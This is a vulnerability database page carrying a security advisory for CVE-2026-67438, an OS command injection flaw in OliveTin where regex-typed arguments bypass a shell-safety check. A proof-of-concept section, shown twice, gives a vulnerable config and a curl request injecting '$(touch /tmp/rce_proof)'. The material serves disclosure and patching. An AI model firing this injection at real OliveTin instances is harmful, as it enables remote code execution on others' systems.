GHSA-XC5W-4V5W-7X65
Vulnerability from github – Published: 2026-07-30 14:31 – Updated: 2026-07-30 14:31Summary
OliveTin's checkShellArgumentSafety() function maintains a blocklist of argument types unsafe for Shell mode actions, but does not include regex:-prefixed types. Because regex: support was added independently via typeSafetyCheckRegex(), any Shell mode action using a regex:-typed argument bypasses the safety check unconditionally. The unvalidated value is then interpolated directly into the sh -c command string via Go's text/template with no escaping, enabling shell injection. Notably, even restrictive-looking patterns are exploitable — for example, a pattern blocking common shell metacharacters remains bypassable via POSIX command substitution.
Details
OliveTin is an open source web UI for running pre-configured shell commands. In the OliveTin service component, the function checkShellArgumentSafety() in service/internal/executor/arguments.go enforces a blocklist of argument types that are unsafe for use in Shell mode actions (actions that execute via sh -c). The blocklist includes password, very_dangerous_raw_string, url, email, and raw_string_multiline. It does not handle custom regex: prefixed argument types.
Custom regex: types are supported by a separate function, typeSafetyCheckRegex(), which checks whether a submitted value matches the provided pattern. These two functions evolved independently: when regex: prefix support was added to typeSafetyCheckRegex, checkShellArgumentSafety was not updated to treat regex: types as unsafe for Shell mode. As a result, any action configured with a Shell mode handler and a regex:-typed argument passes the safety check unconditionally, regardless of how permissive or restrictive the pattern is.
The argument value then reaches handleShellBranch → wrapCommandInShell, where Go's text/template interpolates it directly into the sh -c command string with no escaping.
Critically, this vulnerability is not limited to obviously permissive patterns like regex:.*. An admin who writes a restrictive-looking pattern such as regex: ^[^;|&<>]+$ - explicitly blocking the five most common shell injection characters (semicolon, pipe, ampersand, both redirects) — is still fully exploitable via POSIX command substitution.
PoC
- Deploy OliveTin
docker run -d --name olivetin-poc -p 1337:1337 \
-v /tmp/olivetin-poc/config:/config \
ghcr.io/olivetin/olivetin:3000.11.3
- Write the configuration below as /tmp/olivetin-poc/config/config.yaml , which represents a realistic admin-authored action: a Shell mode command that accepts user-supplied input validated by a custom regex pattern.
actions:
- title: Custom Input Action
id: custom_input
shell: echo "Input was {{ .Arguments.customInput }}"
arguments:
- name: customInput
type: "regex:^[^;|&<>]+$"
title: Custom Input
- Trigger RCE via command substitution.
curl -s -X POST http://localhost:1337/api/v1/StartAction \
-H "Content-Type: application/json" \
-d '{"bindingId":"custom_input","arguments":[{"name":"customInput","value":"$(touch /tmp/rce_proof)"}]}'
- Now verify RCE by checking presence of file
docker exec olivetin-poc ls -la /tmp/rce_proof
Impact
An unauthenticated attacker with network access to an OliveTin instance can achieve full OS command injection - and in practice remote code execution — as the OliveTin process user, provided a Shell mode action exists with any regex:-typed argument whose pattern permits $, backtick, or parentheses.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/OliveTin/OliveTin"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0-20251025234746-ef5a67e7b8ea"
},
{
"fixed": "0.0.0-20260708084548-995ff79736f2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67438"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T14:31:12Z",
"nvd_published_at": "2026-07-29T21:17:48Z",
"severity": "MODERATE"
},
"details": "### Summary\nOliveTin\u0027s checkShellArgumentSafety() function maintains a blocklist of argument types unsafe for Shell mode actions, but does not include regex:-prefixed types. Because regex: support was added independently via typeSafetyCheckRegex(), any Shell mode action using a regex:-typed argument bypasses the safety check unconditionally. The unvalidated value is then interpolated directly into the sh -c command string via Go\u0027s text/template with no escaping, enabling shell injection. Notably, even restrictive-looking patterns are exploitable \u2014 for example, a pattern blocking common shell metacharacters remains bypassable via POSIX command substitution.\n\n### Details\nOliveTin is an open source web UI for running pre-configured shell commands. In the OliveTin service component, the function checkShellArgumentSafety() in service/internal/executor/arguments.go enforces a blocklist of argument types that are unsafe for use in Shell mode actions (actions that execute via sh -c). The blocklist includes password, very_dangerous_raw_string, url, email, and raw_string_multiline. It does not handle custom regex: prefixed argument types.\n\nCustom regex: types are supported by a separate function, typeSafetyCheckRegex(), which checks whether a submitted value matches the provided pattern. These two functions evolved independently: when regex: prefix support was added to typeSafetyCheckRegex, checkShellArgumentSafety was not updated to treat regex: types as unsafe for Shell mode. As a result, any action configured with a Shell mode handler and a regex:-typed argument passes the safety check unconditionally, regardless of how permissive or restrictive the pattern is.\n\nThe argument value then reaches handleShellBranch \u2192 wrapCommandInShell, where Go\u0027s text/template interpolates it directly into the sh -c command string with no escaping.\n\nCritically, this vulnerability is not limited to obviously permissive patterns like regex:.*. An admin who writes a restrictive-looking pattern such as regex: ^[^;|\u0026\u003c\u003e]+$ - explicitly blocking the five most common shell injection characters (semicolon, pipe, ampersand, both redirects) \u2014 is still fully exploitable via POSIX command substitution.\n\n\n### PoC\n1. Deploy OliveTin\n```bash\ndocker run -d --name olivetin-poc -p 1337:1337 \\\n -v /tmp/olivetin-poc/config:/config \\\n ghcr.io/olivetin/olivetin:3000.11.3\n```\n2. Write the configuration below as /tmp/olivetin-poc/config/config.yaml , which represents a realistic admin-authored action: a Shell mode command that accepts user-supplied input validated by a custom regex pattern.\n```yaml\nactions:\n - title: Custom Input Action\n id: custom_input\n shell: echo \"Input was {{ .Arguments.customInput }}\"\n arguments:\n - name: customInput\n type: \"regex:^[^;|\u0026\u003c\u003e]+$\"\n title: Custom Input\n```\n3. Trigger RCE via command substitution.\n\n```bash\ncurl -s -X POST http://localhost:1337/api/v1/StartAction \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"bindingId\":\"custom_input\",\"arguments\":[{\"name\":\"customInput\",\"value\":\"$(touch /tmp/rce_proof)\"}]}\u0027\n```\n4. Now verify RCE by checking presence of file\n```bash\ndocker exec olivetin-poc ls -la /tmp/rce_proof\n```\n\u003cimg width=\"1533\" height=\"319\" alt=\"olivetin_proof\" src=\"https://github.com/user-attachments/assets/82c9cc50-8f05-41f8-8cee-bceb3d4b3a2d\" /\u003e\n\n\n### Impact\nAn unauthenticated attacker with network access to an OliveTin instance can achieve full OS command injection - and in practice remote code execution \u2014 as the OliveTin process user, provided a Shell mode action exists with any regex:-typed argument whose pattern permits $, backtick, or parentheses.",
"id": "GHSA-xc5w-4v5w-7x65",
"modified": "2026-07-30T14:31:12Z",
"published": "2026-07-30T14:31:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-xc5w-4v5w-7x65"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67438"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/commit/995ff79736f2bccc364448a3ece84087b550b232"
},
{
"type": "PACKAGE",
"url": "https://github.com/OliveTin/OliveTin"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.17.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.